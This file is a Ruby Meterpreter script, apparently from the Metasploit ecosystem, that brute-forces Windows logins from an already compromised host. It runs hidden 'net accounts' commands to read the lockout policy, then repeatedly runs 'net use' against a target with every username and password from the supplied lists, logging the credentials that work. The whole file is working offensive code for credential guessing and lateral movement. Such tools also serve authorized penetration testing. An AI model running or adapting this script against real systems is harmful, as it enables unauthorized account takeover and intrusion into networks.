198 lines
5.5 KiB
Ruby
198 lines
5.5 KiB
Ruby
# $Id$
|
|
# $Revision$
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
#-------------------------------------------------------------------------------
|
|
################## Variable Declarations ##################
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "\tHelp menu."],
|
|
"-t" => [ true, "\tTarget IP Address"],
|
|
"-p" => [ true, "\tPassword List"],
|
|
"-cp" => [ false, "\tCheck Local Machine Password Policy"],
|
|
"-L" => [ true, "\tUsername List to be brute forced"],
|
|
"-l" => [ true, "\tLogin name to be brute forced"]
|
|
)
|
|
# Variables for Options
|
|
user = []
|
|
ulopt = nil
|
|
userlist = nil
|
|
passlist = nil
|
|
target = nil
|
|
helpcall = 0
|
|
|
|
# The 'client' object holds the Meterpreter session
|
|
# Aliasing here for plugin compatibility
|
|
session = client
|
|
|
|
################## Function Definition ##################
|
|
# Function for checking the password policy of current system.
|
|
# This policy may resemble the policy of other servers in the
|
|
#target enviroment.
|
|
def chkpolicy(session)
|
|
print_status("Checking password policy...")
|
|
output = []
|
|
begin
|
|
r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
|
|
while(d = r.channel.read)
|
|
output << d
|
|
end
|
|
r.channel.close
|
|
r.close
|
|
# Parsing output of net accounts
|
|
lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
|
|
minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
|
|
failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
|
|
lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
|
|
# check for account lockout
|
|
if lockout.empty?
|
|
print_status "\tNo account lockout threshold configured"
|
|
else
|
|
print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
|
|
print_status "\tThe account will be locked out for #{lcktime}"
|
|
end
|
|
# check for password lenght
|
|
if minpass.to_s == "0"
|
|
print_status "\tNo minimun password lenght is configured"
|
|
else
|
|
print_status "\tThe minumun password lengh configured is #{minpass}"
|
|
print_status "\tyour dictionary should start with passwords of #{minpass} length"
|
|
end
|
|
rescue ::Exception => e
|
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
|
end
|
|
end
|
|
#--------------------------------------------------------
|
|
|
|
# Function for brute forcing passwords using windows native tools
|
|
def passbf(session,passlist,target,user,opt,logfile)
|
|
print_status("Running Brute force attack against #{user}")
|
|
print_status("Successfull Username and Password pairs are being saved in #{logfile}")
|
|
result = []
|
|
output = []
|
|
passfnd = 0
|
|
a = []
|
|
i = 0
|
|
if opt == 1
|
|
if not ::File.exists?(user)
|
|
raise "Usernames List File does not exists!"
|
|
else
|
|
user = ::File.open(user, "r")
|
|
end
|
|
end
|
|
# Go thru each user
|
|
user.each do |u|
|
|
# Go thru each line in the password file
|
|
while passfnd < 1
|
|
::File.open(passlist, "r").each_line do |line|
|
|
begin
|
|
print_status("Trying #{u.chomp} #{line.chomp}")
|
|
|
|
# Command for testing local login credentials
|
|
r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
|
|
while(d = r.channel.read)
|
|
output << d
|
|
end
|
|
r.channel.close
|
|
r.close
|
|
|
|
# Checks if password is found
|
|
result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
|
|
if result.length == 1
|
|
print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
|
|
file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
|
|
r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
|
|
while(d = r.channel.read)
|
|
output << d
|
|
end
|
|
output.clear
|
|
r.channel.close
|
|
r.close
|
|
passfnd = 1
|
|
break
|
|
end
|
|
rescue ::Exception => e
|
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
|
end
|
|
|
|
end
|
|
passfnd = 1
|
|
end
|
|
passfnd = 0
|
|
end
|
|
end
|
|
|
|
#--------------------------------------------------------
|
|
# Function for creating log file
|
|
def logme(target)
|
|
|
|
# Create Filename info to be appended to files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
#logfile name
|
|
dest = logs + "/" + target + filenameinfo
|
|
|
|
dest
|
|
end
|
|
#--------------------------------------------------------
|
|
#
|
|
##check for proper Meterpreter Platform
|
|
def unsupported
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|
|
unsupported if client.platform !~ /win32|win64/i
|
|
|
|
################## MAIN ##################
|
|
|
|
# Parsing of Options
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
when "-l"
|
|
user << val
|
|
ulopt = 0
|
|
when "-L"
|
|
userlist = val
|
|
ulopt = 1
|
|
|
|
when "-cp"
|
|
chkpolicy(session)
|
|
exit
|
|
when "-p"
|
|
|
|
passlist = val
|
|
if not ::File.exists?(passlist)
|
|
raise "Password File does not exists!"
|
|
end
|
|
when "-t"
|
|
target = val
|
|
when "-h"
|
|
print("Windows Login Brute Force Meterpreter Script\n" +
|
|
"Usage:\n" +
|
|
@@exec_opts.usage)
|
|
helpcall = 1
|
|
end
|
|
|
|
}
|
|
|
|
# Execution of options selected
|
|
if user.length > 0 && passlist != nil && target != nil
|
|
|
|
passbf(session,passlist,target,user,ulopt,logme(target))
|
|
|
|
elsif userlist != nil && passlist != nil && target != nil
|
|
|
|
passbf(session,passlist,target,userlist,ulopt,logme(target))
|
|
|
|
elsif helpcall == 0
|
|
print("Windows Login Brute Force Meterpreter Script\n" +
|
|
"Usage:\n" +
|
|
@@exec_opts.usage)
|
|
|
|
end
|
|
|